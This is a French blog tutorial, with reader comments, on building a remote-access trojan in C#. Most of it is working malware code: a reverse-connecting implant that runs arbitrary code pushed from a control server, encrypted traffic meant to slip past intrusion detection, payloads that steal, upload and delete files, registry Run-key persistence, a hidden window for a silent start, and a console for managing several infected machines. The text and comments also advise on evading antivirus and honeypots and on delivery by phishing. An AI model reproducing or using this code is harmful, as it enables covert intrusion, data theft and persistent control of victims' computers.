Coder un cheval de Troie comme un nul(l)

Bonjour à tous !

Virus / Cheval de Troie / Rootkit / Spyware… Que de termes obscurs ! Mais que se cache-t-il derrière chacun d’eux ?

Commençons par le cheval de Troie (aussi appelé backdoor).

Quels sont les ingrédients pour concevoir un bon cheval de Troie ?

Vous trouverez toutes les réponses dans cet article dont le but n’est pas de vous fournir du code que vous n’aurez qu’à copier / coller (vous avez bon nombre d’autres blogs pour ça), mais bien de vous apprendre des choses !

trojans

Tout au long de cet article, j’illustrerai mes propos à l’aide de portions de code C# d’un cheval de Troie personnel.

De quoi a-t-on besoin pour un bon cheval de Troie ?

L’environnement d’exécution d’un cheval de Troie

Comme tout logiciel malveillant, un cheval de Troie doit s’exécuter en milieu hostile de manière camouflée. Il faut proscrire tout message d’erreur, de débogage ou d’information utilisateur. Bien évidemment, le logiciel ne devra pas ouvrir de console ou de fenêtre à son lancement (même pas une fraction de seconde)

Étant exécuté en milieu hostile, il doit être très tolérant aux exceptions et continuer son fonctionnement coûte que coûte, ne jamais « planter » lamentablement ni faire d’écran bleu (sauf si c’est le but recherché)

Il faut partir du principe que l’ordinateur cible sera protégé par un antivirus, un pare-feu et un système de détection d’intrusion (IDS). On devra penser à incorporer des méthodes d’évasions pour chacun de ces systèmes dans notre logiciel.

Le mode d’installation

L’installation d’un cheval de Troie sur un ordinateur cible n’est pas tâche aisée. Dans le processus normal d’un piratage, l’étape d’intrusion est celle où le pirate prend le plus de risque. On doit éviter d’avoir à la refaire.

Une fois le cheval de Troie implanté, ce dernier devra contenir un processus permettant sa mise à jour. La manière la plus simple est d’implémenter un processus de téléchargement, un autre de lancement d’application et enfin un autre d’arrêt du logiciel : on télécharge le cheval de Troie mis à jour, on l’exécute, puis on arrête la version actuelle.

De plus, une mise à jour étant toujours délicate (et si l’on s’était trompé ?), il faut développer le cheval de Troie de telle sorte que l’ajout de fonctionnalités n’entraîne pas forcément une mise à jour du logiciel installé sur l’ordinateur cible.

Comment faire ? Tout simplement en fournissant des méthodes d’exécution de code extérieur (payload) au cheval de Troie. Ces portions de code seront alors envoyées par notre machine attaquante.

Le mode d’exécution

Lancer un cheval de Troie, c’est bien. Mais qu’arrive-t-il une fois que l’ordinateur est éteint ? Il est indispensable de prévoir un mécanisme de persistance, ajouter une clef dans la base de registres par exemple.

La réutilisation

Vous voudrez certainement réutiliser votre cheval de Troie une fois développé. Vous devrez penser à identifier chaque cheval de Troie que vous implanterez. De plus, la partie « cliente » que vous exécuterez sur votre machine attaquante devra être capable de se connecter simultanément à plusieurs instances de votre cheval de Troie.

Mise en place des mécanismes

Mode de fonctionnement global d'un cheval de Troie.

Mode de fonctionnement global d’un cheval de Troie.

Un serveur Echo

Le développement d’un cheval de Troie commence par le développement d’un serveur Echo. Un serveur Echo est tout simplement un serveur qui renvoie ce qu’on lui envoie.

Serveur.cs :

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

class Serveur{
	private const int PORT = 80;
	private const string EOF = "<EOF>";
	private TcpListener tcpListener;
	private Thread listenThread;
	private void ListenForClients() {
		this.tcpListener.Start();
		while (true) {
			TcpClient client = this.tcpListener.AcceptTcpClient();
			Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientComm));
			clientThread.Start(client);
		}
	}
	public static byte[] read(NetworkStream clientStream, Encoding encoder) {
		byte[] result = new byte[0];
		int tokenSize = Convert.ToBase64String(encoder.GetBytes(EOF)).Length;
		while (true) {
			byte[] message = new byte[4096];
			int bytesRead = 0;
			try {
				bytesRead = clientStream.Read(message, 0, 4096);
			} catch(Exception exception) {
				Console.WriteLine(exception);
				break;
			}
			if (bytesRead == 0) {
				return result;
			}
			Array.Resize<byte>(ref result, result.Length + bytesRead);
			Array.Copy(message, 0, result, result.Length - bytesRead, bytesRead);
			if(encoder.GetString(result).EndsWith(EOF)) {
				break;
			}
		}
		int eofLength = encoder.GetBytes(EOF).Length;
		byte[] truncatedResult = new byte[result.Length - eofLength];
		Array.Copy(result, 0, truncatedResult, 0, truncatedResult.Length);
		return truncatedResult;
	}
	public static void write(NetworkStream clientStream, Encoding encoder, byte[] buffer) {
		byte[] plainBuffer = concatenateBytes(buffer, encoder.GetBytes(EOF));
		clientStream.Write(plainBuffer, 0 , plainBuffer.Length);
		clientStream.Flush();
	}
	private void HandleClientComm(object client) {
		TcpClient tcpClient = (TcpClient)client;
		NetworkStream clientStream = tcpClient.GetStream();
		ASCIIEncoding encoder = new ASCIIEncoding();
		write(clientStream, encoder, read(clientStream, encoder));
		tcpClient.Close();
	}
	public Serveur(){
		this.tcpListener = new TcpListener(IPAddress.Any, PORT);
		this.listenThread = new Thread(new ThreadStart(ListenForClients));
		this.listenThread.Start();
	}
	public static void Main(string []args) {
		new Serveur();
	}
}

Client.cs :

using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

public class Client {
	private const int PORT = 80;
	private const string IP = "127.0.0.1";
	private const string EOF = "<EOF>";
	public static byte[] read(NetworkStream clientStream, Encoding encoder) {
		byte[] result = new byte[0];
		int tokenSize = Convert.ToBase64String(encoder.GetBytes(EOF)).Length;
		while (true) {
			byte[] message = new byte[4096];
			int bytesRead = 0;
			try {
				bytesRead = clientStream.Read(message, 0, 4096);
			} catch(Exception exception) {
				Console.WriteLine(exception);
				break;
			}
			if (bytesRead == 0) {
				return result;
			}
			Array.Resize<byte>(ref result, result.Length + bytesRead);
			Array.Copy(message, 0, result, result.Length - bytesRead, bytesRead);
			if(encoder.GetString(result).EndsWith(EOF)) {
				break;
			}
		}
		int eofLength = encoder.GetBytes(EOF).Length;
		byte[] truncatedResult = new byte[result.Length - eofLength];
		Array.Copy(result, 0, truncatedResult, 0, truncatedResult.Length);
		return truncatedResult;
	}
	public static void write(NetworkStream clientStream, Encoding encoder, byte[] buffer) {
		byte[] plainBuffer = concatenateBytes(buffer, encoder.GetBytes(EOF));
		clientStream.Write(plainBuffer, 0 , plainBuffer.Length);
		clientStream.Flush();
	}
	public Client(){
		IPEndPoint serverEndPoint = new IPEndPoint(IPAddress.Parse(IP), PORT);
		try {
			TcpClient client = new TcpClient();
			client.Connect(serverEndPoint);
			NetworkStream clientStream = client.GetStream();
			ASCIIEncoding encoder = new ASCIIEncoding();
			write(clientStream, encoder, "Echo");
			Console.WriteLine(encoder.GetString(read(clientStream, encoder)));
			client.Close();
		} catch(Exception exception) {

		}
	}
	public static void Main(string []args) {
		new Client();
	}
}

Vous venez de faire la plus grosse partie de votre cheval de Troie !

Si vous voulez un cheval de Troie qui ouvre un port et attende une connexion (risque de poser problème avec les routeurs et pare-feu) vous mettrez la partie « serveur » dans votre cheval de Troie. Sinon, si vous préférez que votre cheval de Troie se connecte à votre machine attaquante (ou un centre de contrôle), vous mettrez la partie « client » dans votre cheval de Troie.

On peut noter que les méthodes « read » et « write » sont strictement identiques entre le client et le serveur. Il est préférable de mettre en commun les méthodes permettant la communication.

L’évasion des systèmes de détection

Un cheval de Troie codé par vos petites mains expertes ne sera pas détecté par les antivirus. Si votre cheval de Troie n’ouvre pas de port mais se connecte à votre centre de contrôle sur un port neutre (80, 443, 8080, 21, etc.), il a de grandes chances de passer à travers un proxy / routeur / pare-feu.

Il reste tout de même les systèmes de détection d’intrusions … Nous devrons encrypter tout le trafic qui entre et qui sort de notre cheval de Troie.

Communication.cs :

using System;
using System.IO;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;

public class Communication {
	private const string PASS = "2f8RHNB44gPtaelSVztU2ZXUbuEn1OiY";
	private const string EOF = "<EOF>";
	public static byte[] Encrypt(string password, byte[] data) {
		RijndaelManaged rijndael = new RijndaelManaged();
		rijndael.Mode = CipherMode.CBC;
		Rfc2898DeriveBytes rfcDb = new Rfc2898DeriveBytes(password, System.Text.Encoding.UTF8.GetBytes(password));
		byte[] key = rfcDb.GetBytes(16);
		byte[] iv = rfcDb.GetBytes(16);
		ICryptoTransform aesEncryptor = rijndael.CreateEncryptor(key, iv);
		MemoryStream ms = new MemoryStream();
		CryptoStream cs = new CryptoStream(ms, aesEncryptor, CryptoStreamMode.Write);
		cs.Write(data, 0, data.Length);
		cs.FlushFinalBlock();
		byte[] CipherBytes = ms.ToArray();
		ms.Close();
		cs.Close();
		return CipherBytes;
	}
	public static byte[] Decrypt(string password, byte[] data) {
			RijndaelManaged rijndael = new RijndaelManaged();
			rijndael.Mode = CipherMode.CBC;
			Rfc2898DeriveBytes rfcDb = new Rfc2898DeriveBytes(password, System.Text.Encoding.UTF8.GetBytes(password));
			byte[] key = rfcDb.GetBytes(16);
			byte[] iv = rfcDb.GetBytes(16);
			ICryptoTransform decryptor = rijndael.CreateDecryptor(key, iv);
			MemoryStream ms = new MemoryStream(data);
			CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read);
			byte[] plainTextData = new byte[data.Length];
			int decryptedByteCount = cs.Read(plainTextData, 0, plainTextData.Length);
			ms.Close();
			cs.Close();
			byte[] result = new byte[decryptedByteCount];
			Array.Copy(plainTextData, 0, result, 0, result.Length);
			return result;
	}
	public static byte[] read(NetworkStream clientStream, Encoding encoder) {
		byte[] result = new byte[0];
		int tokenSize = Convert.ToBase64String(encoder.GetBytes(EOF)).Length;
		while (true) {
			byte[] message = new byte[4096];
			int bytesRead = 0;
			try {
				bytesRead = clientStream.Read(message, 0, 4096);
			} catch(Exception exception) {
				Console.WriteLine(exception);
				break;
			}
			if (bytesRead == 0) {
				return result;
			}
			Array.Resize<byte>(ref result, result.Length + bytesRead);
			Array.Copy(message, 0, result, result.Length - bytesRead, bytesRead);
			if(encoder.GetString(result).EndsWith(EOF)) {
				break;
			}
		}
		int eofLength = encoder.GetBytes(EOF).Length;
		byte[] truncatedResult = new byte[result.Length - eofLength];
		Array.Copy(result, 0, truncatedResult, 0, truncatedResult.Length);
		return Decrypt(PASS, truncatedResult);
	}
	public static byte[] concatenateBytes(byte[] one, byte[] two) {
		byte[] result = new byte[one.Length + two.Length];
		Array.Copy(one, 0, result, 0, one.Length);
		Array.Copy(two, 0, result, one.Length, two.Length);
		return result;
	}
	public static void write(NetworkStream clientStream, Encoding encoder, byte[] buffer) {
		byte[] encryptedBuffer = concatenateBytes(Encrypt(PASS, buffer), encoder.GetBytes(EOF));
		clientStream.Write(encryptedBuffer, 0 , encryptedBuffer.Length);
		clientStream.Flush();
	}
	public static string readString(NetworkStream clientStream, Encoding encoder) {
		return encoder.GetString(read(clientStream, encoder));
	}
	public static void writeString(NetworkStream clientStream, Encoding encoder, string data) {
		write(clientStream, encoder, encoder.GetBytes(data));
	}
}

Comme vous pouvez le voir, il suffit de connecter une fonction d’encryption à la méthode « write » et de décryption à « read ».

Le mot de passe partagé par le client et le serveur doit être conservé dans un endroit sûr et ne pas être trop faible (32 caractères aléatoires me semble bien).

Si un expert dans la sécurité informatique désassemble votre cheval de Troie, il pourra aisément accéder à ce mot de passe. La règle d’or est « Ne pas se faire prendre ». Sachez reconnaître les pots de miel (Honeypots) et n’utilisez votre cheval de Troie que sur des ordinateurs bien ciblés après une phase de reconnaissance approfondie !

Les payloads

A peu près tous les langages disposent de fonctionnalités d’introspection et d’exécution de code externe. C# ne fait pas exception à la règle.

Votre cheval de Troie pourra par exemple embarquer le code suivant : http://www.csvreader.com/posts/Evaluator.cs

ChevalDeTroie.cs :

...
private const int RETRY_DELAY = 5000;
public static string ID = "azerty";
public ChevalDeTroie(){
	IPEndPoint serverEndPoint = new IPEndPoint(IPAddress.Parse(IP), PORT);
	while(true) {
		try {
			TcpClient client = new TcpClient();
			client.Connect(serverEndPoint);
			NetworkStream clientStream = client.GetStream();
			ASCIIEncoding encoder = new ASCIIEncoding();
			Communication.writeString(clientStream, encoder, ID);
			while(true) {
				string command = Communication.readString(clientStream, encoder);
				if(command == "exit") {
					Communication.writeString(clientStream, encoder, command);
					break;
				}
				Evaluator eval = new Evaluator("tosend = execute()", Evaluator.EvaluationType.SingleLineReturn, Evaluator.Language.CSharp);
				eval.AddReference("System.dll");
				eval.AddVariable("tosend", new byte[0]);
				eval.AddCustomMethod(command);
				Evaluator.EvaluationResult result = eval.Eval();
				if (result.ThrewException) {
					Communication.writeString(clientStream, encoder, result.Exception.Message);
				} else {
					Communication.write(clientStream, encoder, result.Variables["tosend"].VariableValue as byte[]);
				}
			}
			client.Close();
		} catch(Exception exception) {

		}
		Thread.Sleep(RETRY_DELAY);
	}
}
...

Notez ici l’apparition d’un identifiant pour mon cheval de Troie.

La méthode spéciale « exit » permet de suspendre la communication entre le cheval de Troie et le client afin de passer, par exemple, la main à un autre ordinateur infecté.

La référence à « System.dll » permet d’appeler des fonctionnalités systèmes dans nos payloads. Je l’utilise par exemple pour connaître le nom de l’exécutable actuellement en cours afin de le copier ailleurs.

Comme vous pouvez le constater, si le payload « plante », l’erreur générée est envoyée au centre de contrôle. On pourra déboguer notre code à la volée du côté de notre centre de contrôle sans avoir à réinstaller le cheval de Troie !

CentreDeControle.cs :

public const string PAYLOAD_ECHO = "public static byte[] execute(){ return System.Text.ASCIIEncoding.ASCII.GetBytes(\"Hello \" + Server.ID); }";
public const string PAYLOAD_LIST_DIR = @"public static byte[] execute(){ 
			string[] array1 = System.IO.Directory.GetDirectories(""."");
			System.Text.StringBuilder sb = new System.Text.StringBuilder();
			foreach (string name in array1){ 
				sb.Append(name + ""\n"");
			}
			return System.Text.ASCIIEncoding.ASCII.GetBytes(sb.ToString());
		}";
public const string PAYLOAD_PWD = @"public static byte[] execute(){
			return System.Text.ASCIIEncoding.ASCII.GetBytes(System.IO.Directory.GetCurrentDirectory());
		}";
public const string PAYLOAD_CD = @"public static byte[] execute(){{
			string dir = ""{0}"";
			System.IO.Directory.SetCurrentDirectory(dir);
			return System.Text.ASCIIEncoding.ASCII.GetBytes(""Directory changed to "" + dir);
		}}";
public const string PAYLOAD_UPLOAD = @"public static byte[] execute(){{
			System.IO.File.WriteAllBytes(""{0}"", Convert.FromBase64String(""{1}""));
			return System.Text.ASCIIEncoding.ASCII.GetBytes(""File {0} successfully created."");
		}}";
public const string PAYLOAD_DOWNLOAD = @"public static byte[] execute(){{
			return System.IO.File.ReadAllBytes(""{0}"");
		}}";
public const string PAYLOAD_DELETE = @"public static byte[] execute(){{
			System.IO.File.Delete(""{0}"");
			return System.Text.ASCIIEncoding.ASCII.GetBytes(""File {0} deleted"");
		}}";
public const string PAYLOAD_LS = @"public static byte[] execute(){
			string[] array1 = System.IO.Directory.GetFiles(""."");
			System.Text.StringBuilder sb = new System.Text.StringBuilder();
			foreach (string name in array1){ 
				sb.Append(name + ""\n"");
			}
			return System.Text.ASCIIEncoding.ASCII.GetBytes(sb.ToString());
		}";
public const string PAYLOAD_TERMINATE = @"public static byte[] execute(){
			System.Environment.Exit(0);
			return System.Text.ASCIIEncoding.ASCII.GetBytes("""");
		}";
public const string PAYLOAD_PERSIST = @"public static byte[] execute(){{
			string path = System.IO.Path.GetTempFileName() + "".exe"";
			System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, path);
			string runKey = ""SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"";
			Microsoft.Win32.RegistryKey startupKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(runKey);
			if (startupKey.GetValue(""{0}"") == null){{
				startupKey.Close();
				startupKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(runKey, true);
				startupKey.SetValue(""{0}"", path);
				startupKey.Close();
			}}
			return System.Text.ASCIIEncoding.ASCII.GetBytes(""Key {0} created"");
		}}";

Voici quelques exemples de payloads bien utiles (je n’ai pas encore codé celui permettant de lancer une application). Comme vous pouvez le constater, le centre de contrôle se contentera d’envoyer des chaînes de caractères (ou des octets pour uploader). Il n’est pas nécessaire de le coder dans le même langage que le cheval de Troie. Par exemple, un centre de contrôle en PHP ou en Python est tout à fait envisageable !

Supporter plusieurs chevaux de Troie

Pour faire un véritable centre de contrôle, il faut pouvoir gérer une liste de chevaux de Troie et choisir entre l’un ou l’autre. Le code du cheval de Troie plus haut contient tous les mécanismes le permettant. Voici celui du centre de contrôle :

	private const int PORT = 80;
	private const int TIMEOUT = 10;
	private const int OFFLINE = 30;
	private const string NO_CLIENT_ID = "Reload";
	private TcpListener tcpListener;
	private Thread listenThread;
	private Thread menuThread;
	private bool connected = false;
	private string clientID = NO_CLIENT_ID;
	private Dictionary<string, long> clientNames = new Dictionary<string, long>();
	private void ListenForClients() {
		this.tcpListener.Start();
		while (true) {
			TcpClient client = this.tcpListener.AcceptTcpClient();
			Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientComm));
			clientThread.Start(client);
		}
	}
	private void DisplayMenu(){
		int looper = 0;
		while(true) {
			if(clientID != NO_CLIENT_ID && (connected || looper<TIMEOUT)){
				Thread.Sleep(1000);
				looper+=1;
				continue;
			}
			if(clientID != NO_CLIENT_ID){
				Console.WriteLine("Connection failed!");
			}
			looper = 0;
			List<string> names = new List<string>();
			names.Add(NO_CLIENT_ID);
			foreach (KeyValuePair<string, long> keyValue in clientNames){
				if(getCurrentTime() - keyValue.Value<=OFFLINE){
					names.Add(keyValue.Key);
				}
			}
			for(int i = 0;i < names.Count; i++){
				Console.WriteLine("[" + i + "] " + names[i]);
			}
			this.clientID = names[int.Parse(Console.ReadLine())];
			if(this.clientID != NO_CLIENT_ID){
				Console.WriteLine("Connecting...");
			}
		}
	}
	private void HandleClientComm(object client) {
		TcpClient tcpClient = (TcpClient)client;
		NetworkStream clientStream = tcpClient.GetStream();
		string id = getId(clientStream);
		if(clientID != id){
			sendPayload(clientStream, Payload.PAYLOAD_EXIT);
			tcpClient.Close();
			if(!clientNames.ContainsKey(id)){
				clientNames.Add(id, getCurrentTime());
			}else{
				clientNames[id] = getCurrentTime();
			}
			return;
		}
		connected = true;
		ConsoleColor current = Console.ForegroundColor;
		while(true) {
			try{
				Console.Write(id + "> ");
				Console.ForegroundColor = ConsoleColor.Yellow;
				System.Text.RegularExpressions.Regex myRegex = new System.Text.RegularExpressions.Regex("(?<cmd>^\"[^\"]*\"|\\S*) *(?<prm>.*)?");
				System.Text.RegularExpressions.Match m = myRegex.Match(Console.ReadLine());
				Console.ForegroundColor = ConsoleColor.Green;
				if(m.Success) {
					if(m.Groups[1].Value == "cd") {
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, String.Format(Payload.PAYLOAD_CD, m.Groups[2].Value.Replace("\\", "\\\\")))));
					} else if(m.Groups[1].Value == "exit" || m.Groups[1].Value == "quit") {
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, Payload.PAYLOAD_EXIT)));
						Console.ForegroundColor = current;
						break;
					} else if(m.Groups[1].Value == "upload") {
						System.Collections.Generic.Dictionary<string, string> parameters = getParameters(m.Groups[2].Value);
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, String.Format(Payload.PAYLOAD_UPLOAD, parameters["o"].Replace("\\", "\\\\"), Convert.ToBase64String(File.ReadAllBytes(parameters["i"]))))));
					} else if(m.Groups[1].Value == "download") {
						System.Collections.Generic.Dictionary<string, string> parameters = getParameters(m.Groups[2].Value);
						File.WriteAllBytes(parameters["o"], sendPayload(clientStream, String.Format(Payload.PAYLOAD_DOWNLOAD, parameters["i"].Replace("\\", "\\\\"))));
						Console.WriteLine("File " + parameters["i"] + " Downloaded to " + parameters["o"]);
					} else if(m.Groups[1].Value == "pwd") {
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, Payload.PAYLOAD_PWD)));
					} else if(m.Groups[1].Value == "rm") {
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, String.Format(Payload.PAYLOAD_DELETE, m.Groups[2].Value.Replace("\\", "\\\\")))));
					} else if(m.Groups[1].Value == "ls") {
						Console.ForegroundColor = ConsoleColor.Blue;
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, Payload.PAYLOAD_LIST_DIR)));
						Console.ForegroundColor = ConsoleColor.Green;
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, Payload.PAYLOAD_LS)));
					} else if(m.Groups[1].Value == "terminate") {
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, Payload.PAYLOAD_TERMINATE)));
						Console.ForegroundColor = current;
						break;
					} else if(m.Groups[1].Value == "persist") {
						System.Collections.Generic.Dictionary<string, string> parameters = getParameters(m.Groups[2].Value);
						Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(sendPayload(clientStream, String.Format(Payload.PAYLOAD_PERSIST, parameters["n"]))));
					}
				}
			}catch(Exception exception){
				Console.ForegroundColor = ConsoleColor.Red;
				Console.WriteLine(exception);
			}
			Console.ForegroundColor = current;
		}
		tcpClient.Close();
		connected = false;
		clientNames[id] = getCurrentTime();
		clientID = NO_CLIENT_ID;
	}
	private static long getCurrentTime(){
		TimeSpan _TimeSpan = (DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0));
		return (long)_TimeSpan.TotalSeconds;
	}
	private static System.Collections.Generic.Dictionary<string, string> getParameters(string param) {
		System.Text.RegularExpressions.Regex myRegex = new System.Text.RegularExpressions.Regex("(?:\\s*)(?<=[-|/])(?<name>\\w*)[:|=](\"((?<value>.*?)(?<!\\\\)\")|(?<value>[\\w]*))");
		System.Text.RegularExpressions.Match m = myRegex.Match(param);
		System.Collections.Generic.Dictionary<string, string> result = new System.Collections.Generic.Dictionary<string, string>();
		while(m.Success) {
			result.Add(m.Groups[3].Value, m.Groups[4].Value);
			m = m.NextMatch();
		}
		return result;
	}
	public static byte[] sendPayload(NetworkStream clientStream, string payload) {
		ASCIIEncoding encoder = new ASCIIEncoding();
		try{
			Communication.writeString(clientStream, encoder, payload);
		} catch(Exception exception) {
			Console.WriteLine(exception);
		}
		byte[] result = new byte[0];
		try{
			result = Communication.read(clientStream, encoder);
		} catch(Exception exception) {
			Console.WriteLine(exception);
		}
		return result;
	}
	public static string getId(NetworkStream clientStream) {
		ASCIIEncoding encoder = new ASCIIEncoding();
		string id = Communication.readString(clientStream, encoder);
		try{
			Communication.writeString(clientStream, encoder, Payload.PAYLOAD_ECHO);
		} catch(Exception exception) {
			Console.WriteLine(exception);
		}
		Communication.read(clientStream, encoder);
		return id;
	}
	public Program(){
		this.tcpListener = new TcpListener(IPAddress.Any, PORT);
		this.listenThread = new Thread(new ThreadStart(ListenForClients));
		this.listenThread.Start();
		this.menuThread = new Thread(new ThreadStart(DisplayMenu));
		this.menuThread.Start();
	}
	public static void Main(string []args) {
		new Program();
	}
}

Vous pouvez noter l’apparition d’un menu permettant de sélectionner le cheval de Troie. Une fois sélectionné, on attend sa prochaine connexion durant 10 secondes. Chaque cheval de Troie est paramétré pour se reconnecter toutes les 5 secondes.

Chaque fois qu’un cheval de Troie se connecte au centre de contrôle, son identifiant est sauvegardé et s’affiche dans le menu durant 30 secondes. A chaque connexion, le compteur est réinitialisé.

En ce qui concerne les interactions et l’interface utilisateur, deux expressions régulières sont utilisées pour fournir une interface en lignes de commandes.

Un démarrage silencieux

Actuellement, une console s’ouvre lorsque notre cheval de Troie démarre… Il faut utiliser System.Windows.Forms afin de le démarrer en mode fenêtré. Un moyen simple pour ne pas afficher la fenêtre par la suite est de la redimensionner sur un seul pixel et de la situer bien en dehors de l’écran :

partial class MainForm{
	private System.ComponentModel.IContainer components = null;
	protected override void Dispose(bool disposing){
		if (disposing) {
			if (components != null) {
				components.Dispose();
			}
		}
		base.Dispose(disposing);
	}
	private void InitializeComponent(){
		this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
		this.Text = "ServerReverse";
		this.Name = "MainForm";
		this.WindowState = FormWindowState.Minimized;
		this.ShowInTaskbar = false;
		this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
		this.StartPosition = FormStartPosition.Manual;
		this.Location = new System.Drawing.Point(-10000, -10000);
		this.Size = new System.Drawing.Size(1, 1);
		this.WindowState = FormWindowState.Minimized;
	}
}

Je conseille l’utilisation d’un bon IDE C# pour générer le squelette de l’application. J’utilise SharpDevelop qui est gratuit.

Conclusion

Nous venons de développer un cheval de Troie qui :

  • N’envoie aucun message à l’utilisateur ciblé
  • Démarre de manière silencieuse
  • Est assez tolérant aux exceptions (on peut aussi ajouter un try… catch global)
  • Encrypte son trafic et se connecte à un centre de contrôle pour éviter les IDS / routeurs / pare-feu
  • Est personnalisé pour éviter la détection des antivirus
  • Fournit des méthodes pour être mis à jour (il faut encore que je développe le payload pour lancer une application sur la cible mais ça sera relativement simple…)
  • Est axé sur l’exécution de code extérieur
  • Fournit un mécanisme de persistance
  • Dispose d’un centre de contrôle permettant de gérer plusieurs chevaux de Troie
Un exemple d'exécution de mon cheval de Troie. Comme quoi, il marche ;-)

Un exemple d’exécution de mon cheval de Troie.
Comme quoi, il marche 😉
=> Oui j’ai fait la capture d’écran sous XP…

Je ne vous fournirai pas le code complet, tout beau tout propre, de ce cheval de Troie. Si vous n’êtes pas capables de tout remettre ensemble, il faut que vous envisagiez d’abord une petite remise à niveau de vos compétences de développeur. Une des principales qualités d’un hacker est la persévérance. Une autre est l’autonomie.

Parce que je n’ai pas la science infuse : sources

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , , , , , , , ,
Publié dans Algorithmie, Développement, Informatique, Intrusion, Piratage, Windows
9 comments on “Coder un cheval de Troie comme un nul(l)
  1. interesting use case for my evaluator.cs class. not really what I had in mind but I can see how it would be useful for remotely executing arbitrary commands.

  2. Narcisse dit :

    Vous avez dit que votre article parlerai de la conception d’un cheval de troie pour le nul. Mais je n’ai rien compris de tous ce que vous avez dit

    • mystcaster dit :

      « Comme un » nul(l), nuance 🙂
      On fait des expériences qui ne sont pas forcément élégantes, mais qui fonctionnent.
      Tous mes articles sont testés par moi même et je décris tous les problèmes que je peux rencontrer ainsi que leurs solutions.
      Il n’y a a priori pas à se prendre la tête des heures pour les mettre en oeuvre chez soi mais il arrive que le sujet nécessite (comme ici) de bonnes bases en développement.

      J’encourage vivement tous mes lecteurs à ne pas suivre mes tutoriaux « à la lettre », mais plutôt à les comprendre et implémenter leurs propres solutions. C’est pour ça que je n’ai pas fourni le code complet de mon cheval de Troie. 🙂

  3. Hugo dit :

    Salut, merci pour ton tuto !
    Je suis entrain de faire un DarkComet « like », il marche très bien en local et « WiFi local », mais dès que j’essaye de le faire passer par internet, ça pose problème à cause des ports.
    J’essaye d’utiliser des ports neutre, mais ils sont déjà utilisés.
    Aurais-tu une solution ? 🙂

    • mystcaster dit :

      Généralement les RAT (Remote Access Trojan) n’ouvrent pas de port sur la machine cible afin de ne pas être bloqué par un pare-feu ou des ports configurés sur la cible.
      Fait en sorte que ce soit ton client qui se connecte à ton centre de contrôle et pas l’inverse (typiquement sur le port 80 ou 443).
      Tu devras alors configurer les ports sur ton ordinateur et non pas celui de ta cible.

  4. alpha62512 dit :

    Bonjour, j’aurais voulu avoir plus d’explications sur le principe et le mode de fonctionnement d’un cheval de troie. ainsi que la méthode pour le démarrer et/ou l’implémenter dans un fichier (ex: .jpeg). Merci

    PS : Super tuto

    • mystcaster dit :

      Euh…
      Les principes et modes de fonctionnements sont indiqués dans cet article.
      En ce qui concerne les méthodes pour les démarrer, je vais en couvrir un dans mon prochain article (dans un PDF).
      Il fut un temps où on pouvait effectivement intégrer un cheval de Troie dans une image JPEG. C’était dû à une faille du lecteur d’images par défaut de Windows. Globalement, tous les chevaux de Troie fonctionnent sur le même principe :

          On les intègre dans un fichier/une page web/n’importe quel code exécutable
          On pousse la victime à l’exécuter (phishing/clef USB abandonnée/lien sur un site Web/etc.)

      On peut également exécuter un cheval de Troie sans aucune action de la victime, il faut alors utiliser des bugs présents dans certaines applications (cf: shellshock).

  5. hellg4st dit :

    Sympa l’article , j’ai eu la même idée par contre pour le langage de prog moi j’utilise exclusivement le C++. Par contre j’essaye de comprendre le mécanisme de MAJ, ton idée c’est seulement de remplacer l’ancien par une nouvelle version avec un downloader et de delete l’ancienne?
    J’ai imaginé aussi une gestion de plugins que l’on peu dev à part et ajouter à notre client de base, mais en terme de prog je connais pas les méthodes existantes … si t’as une idée..
    Et du coup je pense que le mieux pour la porta du C&C c’est de faire une interface Web plutôt que se trimballer un exe, qu’est ce que t’en pense ?

    • mystcaster dit :

      J’ai utilisé le C# parce que je voulais m’essayer un peu à ce langage, je dirais qu’il n’y a pas de bonne ou de mauvaise solution dans le piratage… l’important est que ça fonctionne 🙂
      Pour la mise à jour, j’ai voulu faire au plus simple en effet : remplacer l’exécutable.
      Question plugin, il me semble (ça date un peu) que je permet l’envoi de commandes personnalisées à distance.
      Ça permet de minimiser le taille du client, tout est géré ensuite par le C&C.
      La portabilité n’était pas ma priorité, dans beaucoup de cas, une interface WEB peut être adaptée (accès à distance, etc.), dans d’autres un client lourd peut être mieux (environnement hors ligne, réseau isolé, etc.)

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
janvier 2013
L M M J V S D
« Déc   Fév »
 123456
78910111213
14151617181920
21222324252627
28293031  
Catégories
Archives
